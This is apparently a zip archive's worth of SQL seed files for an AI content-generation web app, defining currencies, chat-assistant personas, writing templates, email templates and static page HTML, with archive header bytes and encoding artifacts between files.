'Dollars', 'TTD', 'TT$', ',', '.'), ('Turkey', 'Lira', 'TRY', 'TL', ',', '.'), ('Turkey', 'Liras', 'TRL', '£', ',', '.'), ('Tuvalu', 'Dollars', 'TVD', '$', ',', '.'), ('Ukraine', 'Hryvnia', 'UAH', 'â‚´', ',', '.'), ('United Kingdom', 'Pounds', 'GBP', '£', ',', '.'), ('United States of America', 'Dollars', 'USD', '$', ',', '.'), ('Uruguay', 'Pesos', 'UYU', '$U', ',', '.'), ('Uzbekistan', 'Sums', 'UZS', 'лв', ',', '.'), ('Vatican City', 'Euro', 'EUR', '€', ',', '.'), ('Venezuela', 'Bolivares Fuertes', 'VEF', 'Bs', ',', '.'), ('Vietnam', 'Dong', 'VND', 'â‚«', ',', '.'), ('Yemen', 'Rials', 'YER', 'ï·¼', ',', '.'), ('Zimbabwe', 'Zimbabwe Dollars', 'ZWD', 'Z$', ',', '.'), ('West African CFA franc', 'Francs', 'XOF', 'CFA', ',', '.'); PKJW]œŠF*dev_tools/openai_chat_categories_table.sqlnu„[µü¤INSERT INTO `openai_chat_category` (`name`, `short_name`, `slug`, `description`, `role`, `human_name`, `helps_with`, `prompt_prefix`, `image`, `color`, `created_at`, `updated_at`) VALUES ('Default AI Chat Bot', 'ACB', 'ai-chat-bot', 'Default', 'default', '', '', '', '', '#A3D6C2', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Finance Expert', 'FE', 'finance-expert', 'Personal Finance Expert', 'Finance Expert', 'Allison Burgers', 'I can help you with managing your finance', 'As a personal finance expert,', NULL, '#DBD5F5', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Nutritionist', 'N', 'nutritionist', 'Personal Nutritionist', 'Nutritionist', 'Employes Mustwashhands', 'I can assist you with nutrition-related information or questions', 'As a nutritionist,', NULL, '#EDBBBE', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Career Counselor', 'CC', 'career-counselor', 'Personal Career Counselor', 'Career Counselor', 'Neil Feetstrong', 'I can assist you with your career-related inquiries or concerns', 'As a career counselor,', NULL, '#D4D4E2', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Time Management Consultant', 'TMC', 'time-management-consultant', 'Personal Time Management Consultant', 'Time Management Consultant', 'Sarman Yellow', 'I can assist you with improving your time management skills or addressing any time management challenges you may be facing', 'As a time management consultant,', NULL, '#D6CBA3', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Language Tutor', 'LT', 'language-tutor', 'Personal Language Tutor', 'Language Tutor', 'Sherlock Jonas', 'I can assist you with your language learning goals or provide guidance on language-related topics', 'As a language tutor,', NULL, '#EACCEB', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Cybersecurity Expert', 'CE', 'cybersecurity-expert', 'Cybersecurity Expert', 'Cybersecurity Expert', 'Mr. Robot', 'I can assist you with your cybersecurity concerns or provide information and guidance related to cybersecurity', 'As a cybersecurity expert, ', NULL, '#BDE3E3', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Interior Designer', 'ID', 'interior-designer', 'Personal Interior Designer', 'Interior Designer', 'Olivia Sinclair', 'I can assist you with your interior design needs or provide guidance on creating beautiful and functional spaces', 'As an interior designer, ', NULL, '#F0D1CD', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Parenting Coach', 'PC', 'parenting-coach', 'Personal Parenting Coach', 'Parenting Coach', 'Alexandra Stevens', 'I can assist you with your parenting questions or provide guidance and support in raising children', 'As a parenting coach, ', NULL, '#A3D6C2', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Fitness Trainer', 'FT', 'fitness-trainer', 'Personal Fitness Trainer', 'Fitness Trainer', 'Mert Karapinar', 'I can assist you with your fitness goals or provide guidance and advice on exercise, nutrition, and overall wellness', 'As a fitness trainer, ', NULL, '#D2D6DF', '2023-05-16 03:34:57', '2023-05-16 03:39:11'), ('Travel Advisor', 'TA', 'travel-advisor', 'Personal Travel Advisor', 'Travel Advisor', 'Bilbo Harries', 'I can assist you with your travel plans, provide destination recommendations, or offer guidance on travel-related inquiries', 'As a travel advisor,', NULL, '#BFE3EB', '2023-05-16 03:34:57', '2023-05-16 03:34:57'), ('Sustainability Expert', 'SE', 'sustainability-expert', 'Sustainability Expert', 'Sustainability Expert', 'Viabil Ity', 'I can assist you with your sustainability goals, provide information on sustainable practices, or offer guidance on living a more environmentally friendly lifestyle', 'As a sustainability expert', NULL, '#ECDBC1', '2023-05-16 03:34:57', '2023-05-16 03:34:57'), ('Event Planner', 'EP', 'event planner', 'Event Planner', 'Event Planner', 'Jack Groomer', 'I can assist you with planning and organizing your upcoming event, providing advice on event management, or offering guidance on creating memorable and successful events', 'As an event planner,', NULL, '#E3E3BD', '2023-05-16 03:34:57', '2023-05-16 03:34:57'); PKJW]�!Ypêê$dev_tools/integrations/wordpress.sqlnu„[µü¤INSERT INTO integrations (app, description, image, slug, status, created_at, updated_at) VALUES ('Wordpress', 'Wordpress integration', 'images/integrations/wordpress.png', 'wordpress', 0,'2024-03-08 23:28:43', '2024-03-08 23:28:44'); PKJW]N¶j!ÁÁdev_tools/ai_rewriter.sqlnu„[µü¤INSERT INTO `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `created_at`, `updated_at`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`) VALUES ('AI ReWriter', 'Rewrite more professional and detailed content instantly with our ai rewriter. Boost engagement and save time.', 'ai_rewriter', 1, '[{\"name\":\"your_description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-09-20 08:26:49', '2023-09-20 08:26:49', NULL, 0, 0, '#A3D6C2', 'blog');PKJW]˜ÌCù``dev_tools/ai_vision2.sqlnu„[µü¤INSERT INTO `openai_chat_category` (`name`, `short_name`, `slug`, `description`, `role`, `human_name`, `helps_with`, `prompt_prefix`, `image`, `color`, `created_at`, `updated_at`, `chat_completions`) VALUES ('VisionAI', 'VI', 'ai_vision', 'Image PDF Expert', 'Image Expert', 'VisionAI', 'I can assist you with PDF or Images-related information or questions', 'As a VisionAI,', 'assets/img/vision.png', '#EDBBBE', '2023-05-16 03:34:57', '2023-05-16 03:39:11', '[{"role": "system", "content": "You are a Vision AI assistant."}, {"role": "user", "content": "What objects are present in this image?"}, {"role": "assistant", "content": "The image contains various objects, including a person, a car, and a building."}, {"role": "user", "content": "Can you describe the color of the car?"}, {"role": "assistant", "content": "The car in the image appears to be red."}]');PKJW]°HÝÝdev_tools/ai_filechat2.sqlnu„[µü¤UPDATE `openai_chat_category` SET name = 'File Analyzer', short_name = 'FA', slug = 'ai_pdf', role = 'File Analyzer', human_name = 'File Analyzer', prompt_prefix = 'As a File Analyzer', description = 'I can assist you with PDF, DOC, DOCX or CSV information or questions', helps_with = 'I can assist you with PDF, DOC, DOCX or CSV information or questions', image = 'assets/img/vision.png', color = '#EDBBBE' WHERE slug='ai_pdf';PKJW]‡äuÍ�Í�dev_tools/openai_table.sqlnu„[µü¤INSERT INTO `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `created_at`, `updated_at`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`) VALUES ('Post Title Generator', 'Get captivating post titles instantly with our title generator. Boost engagement and save time.', 'post_title_generator', 1, '[{\"name\":\"your_description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-03-11 08:26:49', '2023-03-11 08:26:49', NULL, 0, 0, '#A3D6C2', 'blog'), ('Summarize Text', 'Effortlessly condense large text into shorter summaries. Save time and increase productivity.', 'summarize_text', 1, '[{\"name\":\"text_to_summary\",\"type\":\"textarea\",\"question\":\"Text to summary\",\"select\":\"\"}]', '', 0, 'text', '2023-03-11 10:25:43', '2023-03-11 10:25:43', NULL, 0, 0, '#CCD9B8', 'blog'), ('Product Description', 'Easily create compelling product descriptions that sell. Increase conversions and boost sales.', 'product_description', 1, '[{\"name\":\"product_name\",\"type\":\"text\",\"question\":\"Product Name\",\"select\":\"\"},{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Short Description\",\"select\":\"\"}]', '', 0, 'text', '2023-03-11 10:30:40', '2023-03-11 10:30:40', NULL, 0, 0, '#C2DEDD', 'ecommerce'), ('Article Generator', 'Instantly create unique articles on any topic. Boost engagement, improve SEO, and save time.', 'article_generator', 1, '[{\"name\":\"article_title\",\"type\":\"text\",\"question\":\"Article Title\",\"select\":\"\"},{\"name\":\"focus_keywords\",\"type\":\"text\",\"question\":\"Focus Keywords (Seperate with Comma)\",\"select\":\"\"}]', '', 0, 'text', '2023-03-11 10:36:10', '2023-03-11 10:36:10', NULL, 0, 0, '#A3D6C2', 'blog'), ('Product Name Generator', 'Create catchy product names with ease. Attract customers and boost sales effortlessly.', 'product_name', 1, '[{\"name\":\"seed_words\",\"type\":\"text\",\"question\":\"Seed Words (Seperate With Comma)\",\"select\":\"\"},{\"name\":\"product_description\",\"type\":\"textarea\",\"question\":\"Product Description\",\"select\":\"\"}]', '', 0, 'text', '2023-03-11 10:37:56', '2023-03-11 10:37:56', NULL, 0, 0, '#C2DEDD', 'ecommerce'), ('Testimonial Review', 'Instantly generate authentic testimonials. Build trust and credibility with genuine reviews.', 'testimonial_review', 1, '[{\"name\":\"subject\",\"type\":\"textarea\",\"question\":\"Subject\",\"select\":\"\"}]', '', 0, 'text', '2023-03-11 10:39:00', '2023-03-11 10:39:00', NULL, 0, 0, '#A3A7D6', 'ecommerce'), ('Problem Agitate Solution', 'Identify and solve problems efficiently. Streamline solutions and increase productivity.', 'problem_agitate_solution', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-03-11 10:39:56', '2023-03-11 10:39:56', NULL, 0, 0, '#E0BFC9', 'development'), ('Blog Section', 'Effortlessly create blog sections with AI. Get unique, engaging content and save time.', 'blog_section', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-03-11 10:40:50', '2023-03-11 10:40:50', NULL, 0, 0, '#A3D6C2', 'blog'), ('Blog Post Ideas', 'Unlock your creativity with unique blog post ideas. Generate endless inspiration and take your content to the next level.', 'blog_post_ideas', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-03-11 10:41:31', '2023-03-11 10:41:31', NULL, 0, 0, '#A3D6C2', 'blog'), ('Blog Intros', 'Set the tone for your blog post with captivating intros. Grab readers'' attention and keep them engaged.', 'blog_intros', 1, '[{\"name\":\"title\",\"type\":\"text\",\"question\":\"Title of blog text\",\"select\":\"\"},{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description of your need\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 11:43:57', '2023-03-14 11:43:57', NULL, 0, 0, '#A3D6C2', 'blog'), ('Blog Conclusion', 'End your blog posts on a high note. Craft memorable conclusions that leave a lasting impact.', 'blog_conclusion', 1, '[{\"name\":\"title\",\"type\":\"text\",\"question\":\"Title of the blog text\",\"select\":\"\"},{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 11:44:49', '2023-03-14 11:44:49', NULL, 0, 0, '#A3D6C2', 'blog'), ('Facebook Ads', 'Create high-converting Facebook ads that grab attention. Drive sales and grow your business.', 'facebook_ads', 1, '[{\"name\":\"title\",\"type\":\"text\",\"question\":\"Title\",\"select\":\"\"},{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '\n\n', 0, 'text', '2023-03-14 11:46:23', '2023-03-14 11:46:23', NULL, 0, 0, '#E8CEC3', 'advertisement'), ('Youtube Video Description', 'Elevate your YouTube content with compelling video descriptions. Generate engaging descriptions effortlessly and increase views.', 'youtube_video_description', 1, '[{\"name\":\"title\",\"type\":\"text\",\"question\":\"Title\",\"select\":\"\"}]', '\n\n', 0, 'text', '2023-03-14 11:47:17', '2023-03-14 11:47:17', NULL, 0, 0, '#E4CD9F', 'social media'), ('Youtube Video Title', 'Get more views with attention-grabbing video titles. Create unique, catchy titles that entice viewers.', 'youtube_video_title', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '\n\n', 0, 'text', '2023-03-14 11:49:10', '2023-03-14 11:49:10', NULL, 0, 0, '#E4CD9F', 'social media'), ('Youtube Video Tag', 'Improve your YouTube video''s discoverability with relevant video tags. Boost views and engagement.', 'youtube_video_tag', 1, '[{\"name\":\"title\",\"type\":\"textarea\",\"question\":\"Title\",\"select\":\"\"}]', '\n\n', 0, 'text', '2023-03-14 11:50:15', '2023-03-14 11:50:15', NULL, 0, 0, '#E4CD9F', 'social media'), ('Instagram Captions', 'Elevate your Instagram game with captivating captions. Generate unique captions that engage followers and increase your reach.', 'instagram_captions', 1, '[{\"name\":\"title\",\"type\":\"textarea\",\"question\":\"Title\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 11:50:52', '2023-03-14 11:50:52', NULL, 0, 0, '#E49FE1', 'social media'), ('Instagram Hashtags', 'Boost your Instagram reach with relevant hashtags. Generate optimal, trending hashtags and increase your visibility.', 'instagram_hashtag', 1, '[{\"name\":\"keywords\",\"type\":\"textarea\",\"question\":\"Keywords (Separate with comma.)\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 11:52:48', '2023-03-14 11:52:48', NULL, 0, 0, '#E49FE1', 'social media'), ('Social Media Post Tweet', 'Make an impact with every tweet. Generate attention-grabbing social media posts and increase engagement.', 'social_media_post_tweet', 1, '[{\"name\":\"title\",\"type\":\"textarea\",\"question\":\"Title\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 11:55:37', '2023-03-14 11:55:37', NULL, 0, 0, '#C2DEDE', 'social media'), ('Social Media Post Business', 'Generate a text for your business social media networks. Maximize your social media presence with impactful business posts.', 'social_media_post_business', 1, '[{\"name\":\"company_name\",\"type\":\"text\",\"question\":\"Company Name\",\"select\":\"\"},{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Company Description\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 12:04:56', '2023-03-14 12:04:56', NULL, 0, 0, '#E3E49F', 'social media'), ('Facebook Headlines', 'Get noticed with attention-grabbing Facebook headlines. Generate unique, clickable headlines that increase engagement and drive traffic.', 'facebook_headlines', 1, '[{\"name\":\"title\",\"type\":\"text\",\"question\":\"Title\",\"select\":\"\"},{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '\n\n', 0, 'text', '2023-03-14 12:06:05', '2023-03-14 12:06:05', NULL, 0, 0, '#E8CEC3', 'social media'), ('Google Ads Headlines', 'Create high-converting Google ads with captivating headlines. Generate unique, clickable ads that drive traffic and boost sales.', 'google_ads_headlines', 1, '[{\"name\":\"product_name\",\"type\":\"text\",\"question\":\"Product Name\",\"select\":\"\"},{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"},{\"name\":\"audience\",\"type\":\"select\",\"question\":\"Audience\",\"select\":\"\\n \\n \\n \\n \\n \\n \"}]', '', 0, 'text', '2023-03-14 12:10:42', '2023-03-14 12:10:42', NULL, 0, 0, '#D6C0A3', 'advertisement'), ('Google Ads Description', 'Step up your Google ad game, Craft high-converting ad copy that grabs attention and drives sales.', 'google_ads_description', 1, '[{\"name\":\"product_name\",\"type\":\"text\",\"question\":\"Product Name\",\"select\":\"\"},{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"},{\"name\":\"audience\",\"type\":\"select\",\"question\":\"Audience\",\"select\":\"\\n \\n \\n \\n \\n \\n \"}]', '', 0, 'text', '2023-03-14 12:11:58', '2023-03-14 12:11:58', NULL, 0, 0, '#D6C0A3', 'advertisement'), ('Paragraph Generator', 'Generate a paragraph with keywords and description. Never struggle with writer''s block again. Generate flawless paragraphs that captivate readers.', 'paragraph_generator', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"},{\"name\":\"keywords\",\"type\":\"textarea\",\"question\":\"Keywords (Separate with comma.)\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 12:17:21', '2023-03-14 12:17:21', NULL, 0, 0, '#A3D6C2', 'blog'), ('Pros & Cons', 'Make informed decisions with ease. Generate unbiased pros and cons lists that help you weigh options and make better choices.', 'pros_cons', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"},{\"name\":\"title\",\"type\":\"text\",\"question\":\"Title\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 12:21:00', '2023-03-14 12:21:00', NULL, 0, 0, '#E0BFC9', 'development'), ('Meta Description', 'Get more clicks with compelling meta descriptions. Generate unique, SEO-friendly meta descriptions that attract customers and boost traffic.', 'meta_description', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"},{\"name\":\"title\",\"type\":\"text\",\"question\":\"Title\",\"select\":\"\"},{\"name\":\"keywords\",\"type\":\"text\",\"question\":\"Keywords (Separate with comma)\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 13:17:43', '2023-03-14 13:17:43', NULL, 0, 0, '#A3D6C2', 'development'), ('FAQ Generator (All Datas)', 'Quickly create helpful FAQs. Our AI-powered generator provides custom responses to common questions in seconds.', 'faq_generator', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"},{\"name\":\"title\",\"type\":\"text\",\"question\":\"Title (Faq Question)\",\"select\":\"\"}]', '\n\n', 0, 'text', '2023-03-14 13:19:40', '2023-03-14 13:19:40', NULL, 0, 0, '#D6D2A3', 'development'), ('Email Generator', 'Generate an email with your subject and description. Streamline your inbox and save time.', 'email_generator', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"},{\"name\":\"subject\",\"type\":\"text\",\"question\":\"Subject of Email\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 13:22:21', '2023-03-14 13:22:21', NULL, 0, 0, '#D1C5DE', 'email'), ('Email Answer Generator', 'Effortlessly tackle your overflowing inbox with custom, accurate responses to common queries, freeing you up to focus on what matters most.', 'email_answer_generator', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description (Receieved Email)\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 13:24:20', '2023-03-14 13:24:20', NULL, 0, 0, '#D1C5DE', 'email'), ('Newsletter Generator', 'Generate engaging newsletters easily with personalized content that resonates with your audience, driving growth and engagement.', 'newsletter_generator', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"},{\"name\":\"title\",\"type\":\"text\",\"question\":\"Title\",\"select\":\"\"},{\"name\":\"subject\",\"type\":\"text\",\"question\":\"Subject\",\"select\":\"\"}]', '\n\n', 0, 'text', '2023-03-14 13:26:49', '2023-03-14 13:26:49', NULL, 0, 0, '#E1D5F4', 'email'), ('Grammar Correction', 'Eliminate grammar errors and enhance your writing with ease. Our tool offers seamless grammar correction for flawless content.', 'grammar_correction', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '\n\n', 0, 'text', '2023-03-14 13:29:15', '2023-03-14 13:29:15', NULL, 0, 0, '#D6C0A3', 'blog'), ('TL;DR Summarization', 'Automatically summarize long texts into bite-sized summaries with this TL;DR generator.', 'tldr_summarization', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-03-14 13:30:44', '2023-03-14 13:30:44', NULL, 0, 0, '#A3D6C2', 'blog'), ('AI Image Generator', 'Create stunning images in seconds.', 'ai_image_generator', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Describe the Image\",\"select\":\"\"},{\"name\":\"size\",\"type\":\"select\",\"question\":\"Image Resolution\",\"select\":\"\"}]', '', 0, 'image', '2023-03-20 13:22:02', '2023-03-20 13:22:02', NULL, 0, 0, '#D1C5DE', 'development'), ('Custom Generation', 'Create your own custom generator with AI! Our app allows you to quickly and easily generate unique content in any language.', 'custom-generation-eQao5n', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Description\",\"description\":\"Description for prompt\"},{\"name\":\"description-second\",\"type\":\"textarea\",\"question\":\"Description Second\",\"description\":\"Description Second for prompt\"}]', '', 0, 'text', '2023-04-04 21:49:28', '2023-05-12 14:49:22', 'write a text about **description** and **description-second**', 1, 0, '#F4E8A4', 'Custom'), ('AI Speech to Text', 'The AI app that turns audio speech into text with ease.', 'ai_speech_to_text', 1, '[{\"name\":\"file\",\"type\":\"file\",\"question\":\"Upload an Audio File (mp3, mp4, mpeg, mpga, m4a, wav, and webm)(Max: 25Mb)\",\"select\":\"\"}]', '', 0, 'audio', '2023-04-08 19:30:04', '2023-05-09 15:38:40', NULL, 0, 0, '#DEFF81', 'blog'), ('AI Code Generator', 'Create custom code in seconds! Leverage our state-of-the-art AI technology to quickly and easily generate code in any language.', 'ai_code_generator', 1, '[{\"name\":\"description\",\"type\":\"textarea\",\"question\":\"Describe What Kind of Code You Need\",\"select\":\"\"},{\"name\":\"code_language\",\"type\":\"text\",\"question\":\"Coding Language (Java, PHP etc.)\",\"select\":\"\"}]', '', 0, 'code', '2023-04-12 19:58:19', '2023-05-06 21:43:02', NULL, 0, 0, '#81FFC2', 'development'); PKJW]æ]7I‘‘dev_tools/ai_voiceover.sqlnu„[µü¤INSERT INTO `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`, `updated_at`, `created_at`) values ('AI Voiceover', 'The AI app that turns text into audio speech with ease. Get ready to generate custom audios from texts quickly and accurately.', 'ai_voiceover', '1', '[{"name":"file","type":"file","question":"Upload an Audio File (mp3, mp4, mpeg, mpga, m4a, wav, and webm)(Max: 25Mb)","select":""}]', '', '0', 'voiceover', '', '0', '0', '#DEFF81', 'voiceover', '2024-03-01 11:35:52', '2024-03-01 11:35:52' ); PKJW]ª%.""dev_tools/ai_chat_image2.sqlnu„[µü¤INSERT INTO `openai_chat_category` (`name`, `short_name`, `slug`, `description`, `role`, `human_name`, `helps_with`, `prompt_prefix`, `image`, `color`, `created_at`, `updated_at`, `chat_completions`, `plan`, `category`) VALUES ('Chat Image', 'CI', 'ai_chat_image', 'Image Generator', 'Image Generator', 'Image Generator', 'I can assist to generate image by user input', 'As a Pdf AI,', 'assets/img/vision.png', '#EDBBBE', '2023-05-16 03:34:57', '2023-05-16 03:39:11', '[{"role": "system", "content": "You are a Chat Image assistant."}]', '', '');PKJW]kÛº¼99dev_tools/ai_filter_youtube.sqlnu„[µü¤INSERT INTO `openai_filters` (`name`) VALUES ('youtube');PKJW]Æ„[MM6dev_tools/subscription_and_payment_email_templates.sqlnu„[µü¤INSERT INTO `email_templates` (`title`, `subject`, `content`, `created_at`, `updated_at`, `slug`) VALUES ( 'Successful Subscription', 'Successful Subscription Email', '
\r\n

Hello, {user_name}!

\r\n

You have successfully subscribed to {site_name}!

\r\n\r\n

Thank you for subscribing to our {plan_name} plan. Your subscription is now active.

\r\n

Thank you for choosing {site_name}.

\r\n

Click here to login to your account.

\r\n

Click here to visit our site.

\r\n
\r\n\r\n
\r\n\r\n\r\n Login to Your Account\r\n\r\n\r\n

Need help? Contact us.

', NULL, NULL, 'subscription-successful' ), ( 'Successful Payment', 'Successful Payment Email', '
\r\n

Hello, {user_name}!

\r\n

Your payment was successful!

\r\n\r\n

Thank you for your payment. Your payment has been successfully processed for our {plan_name} plan.

\r\n
\r\n\r\n
\r\n\r\n\r\n Login to Your Account\r\n\r\n\r\n

Need help? Contact us.

', NULL, NULL, 'payment-successful' ); PKJW]^m½Òˆˆdev_tools/openai_filters.sqlnu„[µü¤INSERT INTO `openai_filters` (`name`) VALUES ('blog'), ('ecommerce'), ('development'), ('advertisement'), ('Custom'), ('social media'); PKJW](dev_tools/new_openai_table_templates.sqlnu„[µü¤PKJW]™VÆÚÚdev_tools/clients.sqlnu„[µü¤INSERT INTO `clients` (`avatar`, `alt`, `title`, `created_at`, `updated_at`) VALUES ('1c.svg', 'Envato', 'Envato', '2023-06-02 17:09:35', '2023-06-02 17:09:35'), ('2c.svg', 'Envato', 'Envato', '2023-06-02 17:09:35', '2023-06-02 17:09:35'), ('4c.svg', 'Envato', 'Envato', '2023-06-02 17:09:35', '2023-06-02 17:09:35'), ('5c.svg', 'Envato', 'Envato', '2023-06-02 17:09:35', '2023-06-02 17:09:35'), ('6c.svg', 'Envato', 'Envato', '2023-06-02 17:09:35', '2023-06-02 17:09:35'); PKJW]LT潯¯dev_tools/ai_webchat.sqlnu„[µü¤INSERT INTO `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `created_at`, `updated_at`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`) VALUES ('AI Web Chat', 'Analyze web page content with url', 'ai_webchat', 1, '[{\"name\":\"your_description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-09-20 08:26:49', '2023-09-20 08:26:49', NULL, 0, 0, '#A3D6C2', 'blog'); PKJW]PZÐH¬¬dev_tools/ai_chat_image.sqlnu„[µü¤INSERT INTO `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `created_at`, `updated_at`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`) VALUES ('Chat Image', 'Generate Image by user input', 'ai_chat_image', 1, '[{\"name\":\"your_description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-09-20 08:26:49', '2023-09-20 08:26:49', NULL, 0, 0, '#A3D6C2', 'blog'); PKJW]ï÷*((dev_tools/ai_webchat2.sqlnu„[µü¤INSERT INTO `openai_chat_category` (`name`, `short_name`, `slug`, `description`, `role`, `human_name`, `helps_with`, `prompt_prefix`, `image`, `color`, `created_at`, `updated_at`, `chat_completions`, `plan`, `category`) VALUES ('WebChat', 'WC', 'ai_webchat', 'AI Web Chat', 'Web Analyzer', 'AI Web Chat', 'I can assist you with web page content analyzation', 'As a WebPage analyzer,', 'assets/img/vision.png', '#EDBBBE', '2023-05-16 03:34:57', '2023-05-16 03:39:11', '[{"role": "system", "content": "You are a Web Page Analyzer assistant."}]', '', '');PKJW]$«`ŽMM"dev_tools/team_email_templates.sqlnu„[µü¤INSERT INTO `email_templates` (`title`, `subject`, `content`, `created_at`, `updated_at`) VALUES ('Team Invite', 'Team Invite Email', '

You are Invited! Congrats!

{site_name}

Hey,

We’re excited to invite you to join {site_name}. It is designed to help businesses and individuals leverage the power of artificial intelligence to generate any kind of content easily.

You can use {site_name} for:

Once you have created your account, you can start exploring the platform and see for yourself how it can benefit you.

Thank you for considering this invitation. I look forward to seeing you on {site_name}.


Discover {site_name}

Need help? Contact us.

', null, '2024-02-06 10:37:15'); PKJW]j;Œ°°dev_tools/ai_pdf.sqlnu„[µü¤INSERT INTO `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `created_at`, `updated_at`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`) VALUES ('AI PDF', 'Elevate your pdf analytics with our AI PDF.', 'ai_pdf', 1, '[{\"name\":\"your_description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-09-20 08:26:49', '2023-09-20 08:26:49', NULL, 0, 0, '#A3D6C2', 'blog'); PKJW]hg™³Á:Á:dev_tools/inner_pages.sqlnu„[µü¤INSERT INTO `pages` (`title`, `content`, `slug`, `status`, `created_at`, `updated_at`, `titlebar_status`, `is_custom`) VALUES ('About', '

\"\"

\r\n

About Us

\r\n

Shaping the future ��

\r\n

Whether you’re a content creator, business owner, or student, our text generator is an essential tool for boosting your productivity.

\r\n
\r\n

 

\r\n

Who Are We

\r\n

At MagicAI, we are passionate about harnessing the power of artificial intelligence to unlock limitless creativity and efficiency. Our cutting-edge AI Generators are designed to revolutionize the way you create, streamline your workflows, and supercharge your productivity.

\r\n

Our mission is to empower individuals and businesses to unleash their creative potential and achieve extraordinary results.

\r\n

We believe that AI has the ability to augment human capabilities, enhance decision-making processes, and accelerate innovation.

\r\n

By developing state-of-the-art AI Generators, we aim to democratize access to advanced AI technologies, enabling users from all backgrounds to excel in their creative endeavors.

\r\n

 

\r\n
\r\n

 

\r\n

Invite a Friend

\r\n

Our Mission

\r\n

We pride ourselves on offering AI Generators that are unmatched in their quality, versatility, and ease of use. Here’s what sets us apart from the competition:

\r\n

With our AI Generators, the possibilities are endless. From generating compelling marketing copy and designing stunning visuals to automating data analysis and creating personalized user experiences, our tools will transform the way you work and help you achieve remarkable outcomes.

\r\n

Join our community of innovators, creators, and forward-thinkers who are leveraging the power of AI to revolutionize their industries. Start your journey with MagicAI today and unlock the full potential of AI Generators.

\r\n

Ready to experience the future of creativity? Sign up now and embark on an exciting adventure of limitless possibilities.

\r\n

 

\r\n

Still have a question? Browse documentation or submit a ticket.

\r\n

 

\r\n
\r\n

 

\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\"\"\"\"\"\"\"\"\"\"
', 'custom-about', 0, '2024-02-13 03:46:38', '2024-02-14 14:11:26', 0,1), ('Privacy and Policy', '

Privacy Policy

\r\n

Privacy and Policy

\r\n

With our tool, you can generate text in seconds, freeing up your time to focus on other important tasks that matter the most.

\r\n

\"\"

\r\n

 

\r\n

 

\r\n

Privacy Policy

\r\n

